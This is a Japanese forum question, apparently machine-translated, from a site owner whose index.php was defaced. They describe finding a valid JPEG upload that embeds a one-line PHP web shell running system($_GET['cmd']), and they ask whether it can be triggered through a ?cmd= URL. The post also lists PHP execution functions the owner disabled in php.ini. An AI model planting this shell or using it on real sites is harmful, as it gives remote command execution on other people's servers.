昨日、私のサイトが構成されました。攻撃者は、index.php ファイルを独自のものに変更します (すべての栄光のメッセージと挨拶を含む)。私はこれについてホスティング会社に通知しました(私たちは専用サーバーで実行しています)、私は原因と思われるものを修正しようとしています.サーバーが攻撃されましたが、犯人である可能性がある特定のスクリプト ベースの抜け穴を見つけたと思います。
私たちのサイトには画像アップローダー フォームがありますが、アップロードされたすべての画像は、php の getimagesize 関数を使用して、コードではなく実際に画像ファイルであるかどうかを検証します。画像タイプが IMAGETYPE_GIF、IMAGETYPE_JPEG、または IMAGETYPE_PNG の場合のみ、それらは受け入れられます。そうしないと、ファイルをアップロードできません。しかし、アップロードされた画像ファイルの 1 つに php スクリプトが含まれていることがわかりました。画像はこちらからダウンロードできます。これは有効な画像ファイルですが、任意のテキスト エディターを使用して画像を開こうとすると、その中に php コードが含まれていることがわかります。
<?php
echo "<pre>"; system($_GET['cmd']); echo "</pre>";
?>
たとえば、画像はこの場所 (www.mysite.com/uploads/picodes.jpg) にアップロードされます。フォルダーのアップロードの許可は 755 であることに注意してください。攻撃者がシステム (またはパススルーなどの他のコマンド) を実行できる方法はありますか?たとえば、www.mysite.com/uploads/picodes.jpg?cmd=some command ??と入力します。私の知る限りでは、攻撃者が jpg ファイルの名前を php に変更できない限り、実行できません (誰かが私が間違っていることを証明できれば本当に感謝しています)。私が言おうとしていることを理解するためのテキストエディタ)
予防措置として、これらの php 関数 (exec、passthru、proc_close、proc_get_status、proc_nice、proc_open、proc_terminate、shell_exec、system) を php.ini の disable_functions に追加して無効にしました。
とにかく、攻撃者は Web 経由ではなく、サーバー エクスプロイトを通じてアクセスを取得していると思いますが、私のホスティング会社は別の方法で考えていると思います。